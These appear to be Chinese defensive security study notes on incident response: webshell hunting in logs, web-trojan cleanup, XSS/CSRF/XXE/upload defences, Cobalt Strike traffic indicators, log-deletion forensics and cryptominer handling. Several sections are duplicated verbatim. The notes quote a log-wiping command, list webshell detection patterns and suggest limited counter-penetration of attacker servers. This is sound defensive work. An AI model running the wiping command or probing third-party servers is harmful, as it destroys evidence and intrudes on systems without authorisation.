  • 威胁情报平台分析:利用威胁情报平台(如微步、安恒威胁情报中心、VirusTotal)对攻击者 IP 进行快速检测
    • 判断 IP 性质:它是一个常规的云服务器、代理IP,还是已知的恶意 IP?
    • 获取基础信息:查看IP地址的归属地(国家、地区)、所属的 ISP(互联网服务提供商)
    • 端口和服务探测:利用 Shodan 等工具,探测该 IP 地址开放了哪些端口,运行着哪些服务,这有助于了解该 IP 是否被用作 C&C 服务器或其他恶意用途

第二步:反制

在获取初步信息后,我们需要进行更深层次的关联分析,试图找到更多关于攻击者的线索

  • 域名和 Whois 查询:如果攻击者使用了特定的域名,或者你通过日志关联到了一些域名,利用 WHOIS 查询这些域名的注册信息。这可能提供注册人的姓名、邮箱或电话,为后续的社工提供线索
  • 反向渗透:如果攻击者 IP 是云服务器,你可以对其进行有限制的反向渗透
    • 服务探测:探测服务器上运行的服务,看是否有未知的 WebShell、木马或 C&C 通信
    • 目录遍历:尝试访问一些常见的 WebShell 路径或目录,看是否有意外发现
    • 注意:反向渗透有法律风险,必须非常谨慎,通常仅限于对公开服务进行被动侦查
  • 流量和网络路径追踪:利用 tracerouteping 等工具,可以追踪攻击流量经过的路由器、网关和 ISP 等信息。这能帮助我们了解攻击流量的来源地点,并验证其 IP 地址的真实性

怎样从日志找 WebShell 位置

第一步:排查 Web 服务器访问日志(access.log)

WebShell 需要通过 HTTP 请求来执行命令,因此会在 Web 服务器的访问日志中留下痕迹。这是定位 WebShell 位置最直接的方法

  • 异常请求状态码:一个成功的 WebShell 文件通常会被频繁访问,并返回 200 状态码。而正常的网站文件,尤其是那些不应该被直接访问的脚本文件,如果返回了 200,就很可疑
  • 异常请求路径:WebShell 的路径通常很奇怪,不符合正常的业务规则。例如:
    • 深度目录www.example.com/images/uploads/2023/shell.php
    • 随机文件名www.example.com/1a2b3c4d.jsp
    • 伪装文件名www.example.com/test.jpg.php
  • 异常请求参数:WebShell 的请求参数通常会包含一些命令执行的关键字,例如 ?cmd=...?exec=...?id=...
  • 异常 User-Agent:攻击者可能使用特定的工具或脚本来访问 WebShell,其 User-Agent 字段可能不正常

第二步:排查 Web 服务器错误日志(error.log)

WebShell 可能会在运行中产生错误,这些错误通常会被记录在错误日志中

  • PHP 错误:如果一个 PHP 文件尝试执行一个它没有权限执行的操作,或者语法错误,错误日志中会记录下该文件的完整路径。例如:PHP Warning: file_put_contents(/var/www/html/malicious_file.php): failed to open stream: Permission denied in /var/www/html/upload/shell.php on line 10
  • Java 异常:对于 Java Web 应用,WebShell 可能会抛出异常,错误日志会显示异常发生的类名和路径

通过这些错误信息,可以快速定位到可疑文件的具体位置


怎样从日志找 WebShell 位置

第一步:排查 Web 服务器访问日志(access.log)

WebShell 需要通过 HTTP 请求来执行命令,因此会在 Web 服务器的访问日志中留下痕迹。这是定位 WebShell 位置最直接的方法

  • 异常请求状态码:一个成功的 WebShell 文件通常会被频繁访问,并返回 200 状态码。而正常的网站文件,尤其是那些不应该被直接访问的脚本文件,如果返回了 200,就很可疑
  • 异常请求路径:WebShell 的路径通常很奇怪,不符合正常的业务规则。例如:
    • 深度目录www.example.com/images/uploads/2023/shell.php
    • 随机文件名www.example.com/1a2b3c4d.jsp
    • 伪装文件名www.example.com/test.jpg.php
  • 异常请求参数:WebShell 的请求参数通常会包含一些命令执行的关键字,例如 ?cmd=...?exec=...?id=...
  • 异常 User-Agent:攻击者可能使用特定的工具或脚本来访问 WebShell,其 User-Agent 字段可能不正常

第二步:排查 Web 服务器错误日志(error.log)

WebShell 可能会在运行中产生错误,这些错误通常会被记录在错误日志中

  • PHP 错误:如果一个 PHP 文件尝试执行一个它没有权限执行的操作,或者语法错误,错误日志中会记录下该文件的完整路径。例如:PHP Warning: file_put_contents(/var/www/html/malicious_file.php): failed to open stream: Permission denied in /var/www/html/upload/shell.php on line 10
  • Java 异常:对于 Java Web 应用,WebShell 可能会抛出异常,错误日志会显示异常发生的类名和路径

通过这些错误信息,可以快速定位到可疑文件的具体位置’


网页挂马排查思路

第一步:定位恶意代码位置

挂马代码通常被注入到网站的静态页面或数据库中

  • 查看网站源代码
    • 比对原始文件:从备份中恢复网站的原始文件,然后与当前服务器上的文件进行比对。使用 diffBeyond Compare 等工具可以快速找出被修改过的文件
    • 查找可疑关键字:在网站所有文件中搜索一些可疑的 HTML 标签或 JavaScript 代码,例如:
      • <script> 标签指向外部可疑域名
      • <iframe> 标签,通常是 display:none 或宽高为0,用于隐藏恶意页面
      • evaldocument.write 等可能用于动态加载恶意脚本的函数
  • 检查数据库:如果网站内容是动态生成的,攻击者可能会修改数据库中的字段(如文章内容、广告位),注入恶意代码
    • 检查数据库备份:将数据库备份恢复到本地进行分析,与当前数据库进行比对
    • 搜索恶意代码:在数据库的 contentdescription 等字段中搜索 <script><iframe> 等关键字。
  • 分析日志文件
    • Web日志:检查 Web 服务器的访问日志(access.log),看是否有异常的 POST 请求,这可能与数据库注入有关
    • 操作系统日志:检查操作系统的事件日志,看是否有异常的登录或文件修改记录

第二步:分析恶意代码行为

找到恶意代码后,不要立即删除,而是先分析它的行为。这有助于我们了解攻击的完整链条

  • 代码解密:挂马代码通常会经过混淆或加密,以逃避检测。你需要对代码进行解密,以还原其真实功能
  • 行为分析
    • 下载木马:恶意代码是否会从某个URL下载并执行可执行文件?
    • 漏洞利用:它是否利用了浏览器或插件(如 Flash、Java)的漏洞?
    • 数据窃取:它是否会窃取用户数据(如登录凭据)并发送到攻击者的服务器?
  • 威胁情报查询:将恶意代码中出现的域名、IP 地址或文件哈希值提交到威胁情报平台进行查询,了解其是否与已知的恶意活动相关

第三步:清除与加固

在完成分析后,就可以进行清除和加固工作

  • 清除恶意代码

    • 删除文件:彻底删除被注入恶意代码的文件,并从备份中恢复
    • 修复数据库:删除数据库中被注入的恶意内容
  • 漏洞修复

    • 程序漏洞:如果挂马是通过Web应用漏洞(如SQL注入、文件上传)实现的,需要立即修复这些漏洞
    • 补丁升级:升级操作系统、Web服务器、网站程序和插件到最新版本,以修补已知的安全漏洞
  • 权限收紧

    • 最小权限原则:Web 服务器进程(如Nginx、Apache)应以低权限用户运行,限制其对文件系统的写权限
    • 文件权限:对网站目录和文件设置严格的读写权限,防止被再次修改

    XSS 防御方法

1. 对用户输入进行严格的过滤和验证

永远不要信任用户的任何输入

  • 白名单过滤:只允许输入符合预定规则的字符。比如,如果一个输入框只用于输入姓名,那么只允许汉字、字母和空格通过
  • 黑名单过滤:过滤掉危险的HTML标签和属性,如 <script><iframe><img>onerror 属性等。然而,这种方法容易被绕过,不推荐作为主要的防御手段。攻击者可以通过大小写混合、特殊编码或利用不常见的HTML标签来绕过黑名单

2. 对输出进行编码(转义)

这是防御 XSS 最有效、最关键的方法。当动态内容被渲染到页面时,必须对其中的特殊字符进行转义,使其失去代码的含义,而只作为纯文本显示

  • HTML实体编码:将一些HTML特殊字符转换成HTML实体,例如:
    • < 转换为 &lt;
    • > 转换为 &gt;
    • " 转换为 &quot;
    • ' 转换为 &#39;
  • 不同上下文的编码:转义需要根据输出的上下文来选择不同的编码方式。
    • 在HTML元素中:使用 HTML 实体编码
    • 在JavaScript代码中:使用 JavaScript 转义,将特殊字符转成 \uXXXX 的形式
    • 在URL参数中:使用 URL 编码,将特殊字符转成 %XX 的形式

3. 使用HTTP响应头增强防御

通过配置 Web 服务器或应用程序的 HTTP 响应头,可以进一步增强对 XSS 的防御

  • CSP (Content Security Policy):这是一个强大的防御机制,它可以告诉浏览器哪些外部资源(脚本、样式、图片等)可以被加载。通过配置 CSP 策略,你可以:
    • 限制脚本来源:只允许从可信域名加载 JavaScript 脚本,从而阻止外部恶意脚本的注入
    • 限制内联脚本:禁止执行 HTML 中的内联脚本(<script>...</script>),强制所有脚本都以文件的形式加载
  • X-XSS-Protection:这是一个 HTTP 响应头,可以启用浏览器内置的 XSS 过滤器。虽然它不是一个完美的解决方案,但在一些旧版浏览器中仍然有一定作用

CSRF 防御方法

1. 验证 HTTP Referer

Referer 是 HTTP 请求头中的一个字段,它记录了请求的来源页面。通过检查 Referer,可以判断请求是否来自可信的域名

  • 优点:简单、易于实现
  • 缺点
    • 不可靠Referer 字段可以被伪造或被某些浏览器、安全软件禁用
    • 隐私问题:在某些情况下,浏览器可能不会发送 Referer 头,导致正常请求被阻止

2. 添加 CSRF Token(推荐)

这是防御 CSRF 最有效、最普遍的方法。CSRF Token 是一个随机生成的、只有服务器和用户端知道的令牌

  • 工作原理
    1. 当用户访问一个页面时,服务器会生成一个唯一的、随机的 CSRF Token,并将其嵌入到表单中
    2. 当用户提交表单时,这个 Token 会随请求一起发送到服务器
    3. 服务器在处理请求前,会验证该 Token 是否有效。如果 Token 缺失或不匹配,请求就会被拒绝
  • 优点
    • 安全性高:攻击者无法获取用户的 Token,因此无法伪造有效的请求
    • 可防御跨站请求:即使攻击者能诱导用户访问恶意网站,也无法获取到正确的 Token
  • 实现方式
    • Session Token:将 Token 存储在用户的 Session 中
    • 双重提交Cookie:将 Token 同时存放在 Cookie 和请求参数中

3. 在 HTTP 头中使用自定义属性

现代 Web 应用框架,如 Spring、Django 等,通常会内置 CSRF 防御机制。它们会在请求中添加一个自定义的 HTTP 头,并由服务器进行验证

  • 工作原理:当用户发送 AJAX 请求时,框架会自动在请求头中添加一个自定义属性,如 X-CSRFToken。服务器在接收请求后,会验证该 Token 是否正确
  • 优点
    • 方便:对于使用这些框架的开发者来说,实现起来非常简单
    • 不受 Referer 影响:不依赖于浏览器的 Referer

4. 验证码机制

在一些关键操作(如修改密码、转账)中,要求用户输入验证码,可以有效防止 CSRF 攻击

  • 优点
    • 安全性高:验证码需要人工输入,无法被自动化
    • 简单直观:用户容易理解
  • 缺点
    • 用户体验差:在每次操作时都要求输入验证码,会降低用户体验
    • 不适用于所有场景:不适合频繁或批量操作

5. Samesite Cookie 属性

SameSite 是一个 HTTP Cookie 属性,它可以限制 Cookie 在跨站点请求中的发送行为

  • 工作原理

    • Strict:最严格的模式,浏览器在跨站点请求时不会发送 Cookie,可以有效防御 CSRF
    • Lax:相对宽松的模式,在顶级导航 GET 请求(如点击链接)时会发送 Cookie,但在其他情况下不会
  • 优点

    • 浏览器原生支持:不需要额外开发
    • 简单有效:可以作为 CSRF 防御的第一道防线
  • 缺点

    • 兼容性问题:在一些旧版浏览器中可能不受支持

    CSRF 防御方法

1. 验证 HTTP Referer

Referer 是 HTTP 请求头中的一个字段,它记录了请求的来源页面。通过检查 Referer,可以判断请求是否来自可信的域名

  • 优点:简单、易于实现
  • 缺点
    • 不可靠Referer 字段可以被伪造或被某些浏览器、安全软件禁用
    • 隐私问题:在某些情况下,浏览器可能不会发送 Referer 头,导致正常请求被阻止

2. 添加 CSRF Token(推荐)

这是防御 CSRF 最有效、最普遍的方法。CSRF Token 是一个随机生成的、只有服务器和用户端知道的令牌

  • 工作原理
    1. 当用户访问一个页面时,服务器会生成一个唯一的、随机的 CSRF Token,并将其嵌入到表单中
    2. 当用户提交表单时,这个 Token 会随请求一起发送到服务器
    3. 服务器在处理请求前,会验证该 Token 是否有效。如果 Token 缺失或不匹配,请求就会被拒绝
  • 优点
    • 安全性高:攻击者无法获取用户的 Token,因此无法伪造有效的请求
    • 可防御跨站请求:即使攻击者能诱导用户访问恶意网站,也无法获取到正确的 Token
  • 实现方式
    • Session Token:将 Token 存储在用户的 Session 中
    • 双重提交Cookie:将 Token 同时存放在 Cookie 和请求参数中

3. 在 HTTP 头中使用自定义属性

现代 Web 应用框架,如 Spring、Django 等,通常会内置 CSRF 防御机制。它们会在请求中添加一个自定义的 HTTP 头,并由服务器进行验证

  • 工作原理:当用户发送 AJAX 请求时,框架会自动在请求头中添加一个自定义属性,如 X-CSRFToken。服务器在接收请求后,会验证该 Token 是否正确
  • 优点
    • 方便:对于使用这些框架的开发者来说,实现起来非常简单
    • 不受 Referer 影响:不依赖于浏览器的 Referer

4. 验证码机制

在一些关键操作(如修改密码、转账)中,要求用户输入验证码,可以有效防止 CSRF 攻击

  • 优点
    • 安全性高:验证码需要人工输入,无法被自动化
    • 简单直观:用户容易理解
  • 缺点
    • 用户体验差:在每次操作时都要求输入验证码,会降低用户体验
    • 不适用于所有场景:不适合频繁或批量操作

5. Samesite Cookie 属性

SameSite 是一个 HTTP Cookie 属性,它可以限制 Cookie 在跨站点请求中的发送行为

  • 工作原理

    • Strict:最严格的模式,浏览器在跨站点请求时不会发送 Cookie,可以有效防御 CSRF
    • Lax:相对宽松的模式,在顶级导航 GET 请求(如点击链接)时会发送 Cookie,但在其他情况下不会
  • 优点

    • 浏览器原生支持:不需要额外开发
    • 简单有效:可以作为 CSRF 防御的第一道防线
  • 缺点

    • 兼容性问题:在一些旧版浏览器中可能不受支持

    XXE 防御方法

通用防御思路

  • 禁用外部实体(External Entities):这是最根本的防御措施。确保你的 XML 解析器不会去解析 <!DOCTYPE> 中定义的外部实体
  • 禁用 DTD(Document Type Definition):如果业务逻辑不需要 DTD,直接禁用它能彻底解决 XXE 问题
  • 使用最新版本的解析库:新的 XML 解析库通常会默认禁用 XXE 相关功能,或提供更安全的配置选项

文件上传防御方法

1. 客户端验证

客户端验证通常指通过 JavaScript 在前端对文件进行检查

  • 优点:可以快速、友好地提示用户,减少不必要的服务器请求,提升用户体验
  • 缺点:非常容易绕过。攻击者可以通过抓包工具(如 Burp Suite)修改 HTTP 请求,或直接禁用 JavaScript。因此,客户端验证绝对不能作为唯一的安全措施

常见的客户端验证包括:

  • 文件扩展名验证:检查文件的扩展名是否为允许的类型(如.jpg, .png, .pdf
  • MIME类型验证:检查文件的 MIME 类型(如 image/jpeg, application/pdf
  • 文件大小验证:限制上传文件的大小,防止恶意文件过大导致服务器资源耗尽

2. 服务器端验证

服务器端验证是防御文件上传漏洞的最后一道防线,也是最可靠的

  • 文件扩展名白名单验证强烈推荐使用白名单。只允许上传特定、已知的安全扩展名,如 .jpg, .png, .gif, .pdf, .zip 等。绝对不要使用黑名单,因为攻击者总能找到新的绕过方式
  • MIME 类型验证:在服务器端验证文件头的 MIME 类型,防止攻击者通过伪造扩展名来上传恶意文件
  • 文件内容检测:对上传的文件内容进行深度检查
    • 图片:使用 getimagesize() 等函数检测文件是否为真实的图片文件
    • 压缩包:检查压缩包中的文件列表,确保没有可执行文件或恶意脚本
  • 文件重命名:在文件上传后,对其进行重命名,通常是使用一个随机字符串或加密哈希值作为文件名,并去除原始扩展名。这能有效防止攻击者通过文件名猜测 WebShell 的路径

3. 文件存储与执行权限控制

即使恶意文件侥幸通过了所有验证,我们仍然可以通过权限控制来阻止它被执行。

  • 分离存储与执行:将用户上传的文件存储在非Web根目录下。这样,即使攻击者知道文件路径,也无法通过URL直接访问或执行。
  • 禁止执行权限:将上传文件的目录设置为不可执行。在Nginx或Apache中,可以通过配置来禁止特定目录执行脚本文件。
    • Nginx:在配置文件中添加 location 规则,并设置 deny all;deny execution;
    • Apache:在 .htaccess 文件中添加 php_flag engine off 或类似的规则。
  • 最小权限原则:Web服务器进程(如Nginx、Apache)应以低权限用户运行,并确保其对上传目录只有写入权限,而没有执行权限。

文件上传防御方法

1. 客户端验证

客户端验证通常指通过 JavaScript 在前端对文件进行检查

  • 优点:可以快速、友好地提示用户,减少不必要的服务器请求,提升用户体验
  • 缺点:非常容易绕过。攻击者可以通过抓包工具(如 Burp Suite)修改 HTTP 请求,或直接禁用 JavaScript。因此,客户端验证绝对不能作为唯一的安全措施

常见的客户端验证包括:

  • 文件扩展名验证:检查文件的扩展名是否为允许的类型(如.jpg, .png, .pdf
  • MIME类型验证:检查文件的 MIME 类型(如 image/jpeg, application/pdf
  • 文件大小验证:限制上传文件的大小,防止恶意文件过大导致服务器资源耗尽

2. 服务器端验证

服务器端验证是防御文件上传漏洞的最后一道防线,也是最可靠的

  • 文件扩展名白名单验证强烈推荐使用白名单。只允许上传特定、已知的安全扩展名,如 .jpg, .png, .gif, .pdf, .zip 等。绝对不要使用黑名单,因为攻击者总能找到新的绕过方式
  • MIME 类型验证:在服务器端验证文件头的 MIME 类型,防止攻击者通过伪造扩展名来上传恶意文件
  • 文件内容检测:对上传的文件内容进行深度检查
    • 图片:使用 getimagesize() 等函数检测文件是否为真实的图片文件
    • 压缩包:检查压缩包中的文件列表,确保没有可执行文件或恶意脚本
  • 文件重命名:在文件上传后,对其进行重命名,通常是使用一个随机字符串或加密哈希值作为文件名,并去除原始扩展名。这能有效防止攻击者通过文件名猜测 WebShell 的路径

3. 文件存储与执行权限控制

即使恶意文件侥幸通过了所有验证,我们仍然可以通过权限控制来阻止它被执行。

  • 分离存储与执行:将用户上传的文件存储在非Web根目录下。这样,即使攻击者知道文件路径,也无法通过URL直接访问或执行。
  • 禁止执行权限:将上传文件的目录设置为不可执行。在Nginx或Apache中,可以通过配置来禁止特定目录执行脚本文件。
    • Nginx:在配置文件中添加 location 规则,并设置 deny all;deny execution;
    • Apache:在 .htaccess 文件中添加 php_flag engine off 或类似的规则。
  • 最小权限原则:Web服务器进程(如Nginx、Apache)应以低权限用户运行,并确保其对上传目录只有写入权限,而没有执行权限。

CS 流量特征

一、HTTP/HTTPS 通信特征

CS 的核心通信依赖 HTTP/HTTPS,其请求和响应具有以下独特之处:

  • 请求路径 (URI)
    • 默认路径:早期的 CS 版本使用如 /api/rc4/pixel 等明显特征的路径。虽然现在已不常见,但在老旧的、未及时更新的 CS 木马中仍可能出现
    • 伪装路径:高级攻击者会配置 Profile,将路径伪装成正常的 URL,如 /login/css/main.css。此时,检测的关键于路径与请求方法的合理性。例如,POST /css/main.cssGET /submit 都是极度可疑的行为
    • 长度与随机性:某些配置文件会生成长而随机的路径,例如 /hjd83kalsd94jfnnasd83jklfn。在高频访问中,这种随机性反而成为一种异常
  • User-Agent (UA)
    • 默认 UA:早期的 CS 使用一些固定的、容易被识别的 UA 字符串
    • 伪造 UA:攻击者会伪装成常见的浏览器 UA,如 Chrome、Firefox。然而,可以从一致性和时效性来判断:如果来自同一 C2 的所有 Beacon 都使用完全相同的、且已过时的 UA 字符串,则很可能存在 CS 攻击

二、TLS 证书与指纹特征

如果 CS 使用 HTTPS 进行通信,其 TLS/SSL 证书会留下独特的指纹,这是非常强的检测指标

  • 默认证书:CS 服务器默认使用自签名证书,其 Subject 字段通常带有明显的默认值,例如 CN=Major C. A. LindheimO=Internet Widgits Pty Ltd
  • JARM 指纹:这是一种主动 TLS 指纹识别技术。CS 的默认配置具有非常固定的 JARM 指纹。即使攻击者修改了证书的主题信息,默认的 JARM 指纹在很长一段时间内仍保持不变,这使得 JARM 成为检测 CS 最有效的手段之一
  • 证书透明度(CT)日志:如果攻击者使用了看似合法的域名并申请了证书,我们可以通过检查该域名是否出现在 CT 日志中,来进一步确认和溯源

三、请求与响应行为特征

CS 的 HTTP 通信并非简单的请求-响应,而是一种高度规律性的“心跳”模式

  • 心跳模式:Beacon 会以固定的时间间隔(如 10s、60s)向 C2 服务器发送请求。这种高度规律性的、永不停止的通信模式,即使在机器空闲时也存在,与正常用户行为截然不同
  • 请求与响应载荷:心跳请求的载荷(如 Cookie、POST 数据)长度可能固定不变。而当服务器下发指令时,响应包的长度会变长。回传数据时,客户端则会发送一个 POST 请求,其 Body 部分经过加密和 Base64 编码
  • HTTP 状态码:CS C2 服务器的 HTTP 响应状态码绝大多数情况下都是 200 OK,即使请求是无效的。这是其反侦察的手段之一,与正常服务器对错误请求返回 404/500 的行为形成鲜明对比。

四、DNS 与横向移动

为了绕过传统安全设备的检测,CS 提供了更高级的通信方式和行为模式

  • DNS Beacon
    • 查询类型:通常使用 TXTAAAA 记录进行数据传输,A 记录用于心跳
    • 子域名爆破:Beacon 会频繁对特定域名进行 DNS 查询,查询的前缀是长而随机的字符串,用于编码数据
    • 查询频率:与 HTTP 类似,具有固定的心跳间隔,产生持续、规律的 DNS 查询流量
  • 横向移动
    • SMB/TCP Beacon:用于在内网中横向移动,它们会创建命名管道或监听特定端口。异常的命名管道或内部端口连接行为是重要的检测指标

CS 流量特征

一、HTTP/HTTPS 通信特征

CS 的核心通信依赖 HTTP/HTTPS,其请求和响应具有以下独特之处:

  • 请求路径 (URI)
    • 默认路径:早期的 CS 版本使用如 /api/rc4/pixel 等明显特征的路径。虽然现在已不常见,但在老旧的、未及时更新的 CS 木马中仍可能出现
    • 伪装路径:高级攻击者会配置 Profile,将路径伪装成正常的 URL,如 /login/css/main.css。此时,检测的关键于路径与请求方法的合理性。例如,POST /css/main.cssGET /submit 都是极度可疑的行为
    • 长度与随机性:某些配置文件会生成长而随机的路径,例如 /hjd83kalsd94jfnnasd83jklfn。在高频访问中,这种随机性反而成为一种异常
  • User-Agent (UA)
    • 默认 UA:早期的 CS 使用一些固定的、容易被识别的 UA 字符串
    • 伪造 UA:攻击者会伪装成常见的浏览器 UA,如 Chrome、Firefox。然而,可以从一致性和时效性来判断:如果来自同一 C2 的所有 Beacon 都使用完全相同的、且已过时的 UA 字符串,则很可能存在 CS 攻击

二、TLS 证书与指纹特征

如果 CS 使用 HTTPS 进行通信,其 TLS/SSL 证书会留下独特的指纹,这是非常强的检测指标

  • 默认证书:CS 服务器默认使用自签名证书,其 Subject 字段通常带有明显的默认值,例如 CN=Major C. A. LindheimO=Internet Widgits Pty Ltd
  • JARM 指纹:这是一种主动 TLS 指纹识别技术。CS 的默认配置具有非常固定的 JARM 指纹。即使攻击者修改了证书的主题信息,默认的 JARM 指纹在很长一段时间内仍保持不变,这使得 JARM 成为检测 CS 最有效的手段之一
  • 证书透明度(CT)日志:如果攻击者使用了看似合法的域名并申请了证书,我们可以通过检查该域名是否出现在 CT 日志中,来进一步确认和溯源

三、请求与响应行为特征

CS 的 HTTP 通信并非简单的请求-响应,而是一种高度规律性的“心跳”模式

  • 心跳模式:Beacon 会以固定的时间间隔(如 10s、60s)向 C2 服务器发送请求。这种高度规律性的、永不停止的通信模式,即使在机器空闲时也存在,与正常用户行为截然不同
  • 请求与响应载荷:心跳请求的载荷(如 Cookie、POST 数据)长度可能固定不变。而当服务器下发指令时,响应包的长度会变长。回传数据时,客户端则会发送一个 POST 请求,其 Body 部分经过加密和 Base64 编码
  • HTTP 状态码:CS C2 服务器的 HTTP 响应状态码绝大多数情况下都是 200 OK,即使请求是无效的。这是其反侦察的手段之一,与正常服务器对错误请求返回 404/500 的行为形成鲜明对比。

四、DNS 与横向移动

为了绕过传统安全设备的检测,CS 提供了更高级的通信方式和行为模式

  • DNS Beacon
    • 查询类型:通常使用 TXTAAAA 记录进行数据传输,A 记录用于心跳
    • 子域名爆破:Beacon 会频繁对特定域名进行 DNS 查询,查询的前缀是长而随机的字符串,用于编码数据
    • 查询频率:与 HTTP 类似,具有固定的心跳间隔,产生持续、规律的 DNS 查询流量
  • 横向移动
    • SMB/TCP Beacon:用于在内网中横向移动,它们会创建命名管道或监听特定端口。异常的命名管道或内部端口连接行为是重要的检测指标

日志被删除如何排查

1. 内存取证 (Memory Forensics)

这是最重要的一个步骤,也是最可能找到线索的地方

措施:

  • 日志进程的内存: 即使日志文件被删除,日志服务(如 rsyslogdjournald 等)在运行时,其内存中可能仍然保留着最近的日志记录
  • 文件系统缓存: 操作系统内核在删除文件后,可能不会立即清除其在内存中的缓存
  • 进程活动: 攻击者执行删除命令(例如 rm -rf /var/log/*)的进程信息,以及该进程的父进程、子进程,都可能存在于内存中

操作方法:

  1. 紧急制作内存镜像: 在不重启系统的情况下,使用工具(如 LiMEFTK ImagerMagnet RAM Capture)立即抓取系统内存镜像
  2. 分析内存镜像: 将抓取的内存镜像导入专业的取证工具(如 VolatilityRekall
  3. 查找关键信息:
    • pstreepslist 查看当前和已终止的进程列表,寻找可疑的进程
    • cmdline 查看进程的命令行参数,看看是否有 rm 或其他可疑的删除命令
    • filescansockets 检查打开的文件句柄和网络连接,寻找与攻击者相关的线索
    • dumpfiles 尝试从内存中恢复已删除的文件数据

2. 磁盘取证 (Disk Forensics)

即使文件被删除,数据通常不会立即被擦除,只是其在文件系统中的索引(inode)被标记为可用

措施:

  • 数据残留: 只要数据块没有被新数据覆盖,就有恢复的可能性
  • 文件系统元数据: 文件系统的元数据(如日志删除的时间戳、执行删除的用户等)可能仍然存在

操作方法:

  1. 创建磁盘镜像: 使用 dd 或其他取证工具(如 EnCaseFTK)对受影响的磁盘进行物理或逻辑镜像,确保不对原始数据进行任何修改
  2. 使用文件恢复工具:
    • foremostscalpel 这类工具基于文件头和文件尾的特征来搜索和恢复数据,可以尝试恢复 .log.gz 或其他可能被删除的文件
    • extundeletetestdisk 这类工具专门针对文件系统的特性,可以恢复被删除的文件
  3. 分析文件系统日志(如果可用):
    • 某些文件系统(如 ext4)有自己的日志,可能会记录文件的创建、删除等操作。

3. 统和服务日志检查

虽然主日志被删了,但还有一些其他地方可以寻找线索

措施:

  • 独立日志: 某些应用程序或服务有独立的日志目录,可能不在 /var/log
  • 审计日志: 如果系统开启了审计功能(如 auditd),它会独立记录系统调用,包括文件的删除操作。这通常是排查此类问题的“黄金”线索

操作方法:

  • 检查独立应用日志: 查看 web 服务(如 NginxApacheaccess.log)、数据库、容器服务(如 Docker)的日志目录。这些日志可能记录了攻击者入侵的原始入口
  • 检查 auditd 日志: 检查 /var/log/audit/audit.log 或其指定位置。搜索关键词如 deleteunlinkrm,或者可疑的用户 ID
  • bash 历史记录: 检查 /root/.bash_history 或其他用户的 ~/.bash_history。攻击者如果未清除此文件,可能会留下痕迹。不过,有经验的攻击者通常会清除或禁用此功能

4. 网络流量分析

攻击者在入侵和删除日志后,可能还会进行数据回传或保持远程连接

措施:

  • 攻击者通信: 可能会有与外部 C&C(命令与控制)服务器的通信
  • 数据外泄: 攻击者可能在删除日志前已经窃取了数据

操作方法:

  • 分析网络设备日志: 检查防火墙、路由器或入侵检测系统(IDS/IPS)的日志
  • 分析网络流量捕获文件: 如果在事发时有网络流量捕获(如 pcap 文件),可以使用 WiresharkZeek 等工具进行深度分析

常见加固手段

1. 系统和应用程序加固

  • 及时更新和打补丁:定期检查并安装操作系统、应用程序和依赖库的最新补丁,以修复已知的安全漏洞
  • 禁用不必要的服务和端口:关闭那些不用于业务的端口和服务。例如,如果你的服务器不需要 FTP 服务,就把它禁用掉
  • 最小化权限原则:所有用户和程序都应该只拥有完成其任务所必需的最小权限。不要使用 root 或管理员账户来运行日常服务
  • 修改默认配置:更改系统、应用和设备的默认密码、默认端口和默认配置,这些默认值常常是攻击者首先尝试的目标
  • 日志审计:开启并配置详细的日志记录,以便在安全事件发生后进行溯源和分析。同时,需要定期审查这些日志

2. 网络和边界加固

  • 防火墙配置:在网络边界和服务器上部署防火墙,并配置严格的访问控制列表(ACL),只允许必要的流量通过
  • 入侵检测/防御系统 (IDS/IPS):部署 IDS/IPS 来监控网络流量,识别并阻止恶意行为,如端口扫描、缓冲区溢出攻击等
  • 网络分段:将网络划分为不同的区域(如生产区、开发区、办公区),并通过防火墙或 VLAN 隔离,避免攻击者从一个区域轻易地横向移动到另一个区域
  • 禁用非加密协议:优先使用加密协议,如 HTTPS、SSH、SFTP 等,而不是 HTTP、Telnet、FTP 等明文协议

3. 数据和身份管理加固

  • 强密码策略:强制用户使用复杂且不重复的密码,并定期更换。可以配合多因素认证(MFA)来进一步提高账户安全性
  • 数据加密:对敏感数据进行加密,无论是在传输过程中(例如使用 TLS/SSL)还是在存储时(例如对数据库或磁盘进行加密)
  • 备份和恢复策略:制定并定期执行数据备份,并测试恢复流程,以确保在发生数据损坏或勒索软件攻击时能够快速恢复
  • 身份认证和授权:使用集中式的身份管理系统(如 LDAP 或活动目录),并对不同角色的用户进行精细化的权限管理

挖矿病毒特征

1. 异常高的 CPU 和 GPU 使用率

这是最明显的特征。当你的电脑被植入挖矿病毒后,即使你没有运行任何大型程序(比如游戏或视频编辑软件),任务管理器或活动监视器中显示的CPU 和 GPU使用率也会异常地高,通常会持续在 90% 甚至 100% 左右。这会直接导致你的电脑性能显著下降,变得卡顿、响应迟钝

2. 计算机过热和风扇噪音增大

由于 CPU 和 GPU 长时间处于高负载状态,会产生大量的热量。你会发现你的电脑,尤其是笔记本电脑,机身变得非常烫。为了散热,电脑的风扇会一直高速运转,产生持续且刺耳的噪音

3. 电池续航时间急剧缩短

对于笔记本电脑用户来说,挖矿病毒会持续消耗电量,导致电池续航时间比平时短得多。你可能会发现,原本能用几个小时的电量,现在只用一两个小时就耗尽了

4. 难以识别的进程

在任务管理器中,你可能会发现一个或几个陌生的、占用大量 CPU 资源的进程。这些进程的名字往往是随机的字母和数字组合,或者伪装成正常的系统进程,例如 svchost.exeexplorer.exe,但它们的实际位置和正常进程不同

5. 网络流量异常

虽然挖矿病毒主要消耗的是计算资源,但在挖掘和提交计算结果时,也会产生一定的网络流量。你可以使用网络监控工具来检查是否有异常的、持续的对外连接,尤其是一些指向未知 IP 地址的连接


挖矿病毒应急思路

1. 遏制

当发现病毒时,首要任务是阻止其进一步扩散,并保留现场证据

  • 确认事件:通过告警、资源占用异常(CPU、GPU 飙升)、网络流量异常、可疑进程等现象,确认是挖矿病毒事件
  • 隔离受感染主机
    • 物理隔离:最直接的方式,拔掉网线或断开 Wi-Fi 连接
    • 网络隔离:在交换机或防火墙上,将受感染主机的 IP 或 MAC 地址加入黑名单,或将其移动到隔离的 VLAN 中
  • 保留现场:不要急于重启或关机,这会丢失宝贵的内存数据

2. 取证与分析

这是溯源和清除的关键环节

  • 内存取证
    • 使用 Volatility 等工具对受感染主机的内存进行镜像
    • 分析内存镜像,寻找恶意进程、网络连接、注入的 DLL、rootkit 痕迹等
  • 系统取证
    • 进程分析:使用 Process Explorer 或 Process Monitor,查找 CPU 或 GPU 占用率异常的进程。注意那些名字可疑或隐藏在系统目录下的进程
    • 网络分析:使用 Wireshark 或 TCPView,检查是否有异常的网络连接,特别是连接到矿池的 IP 地址或域名
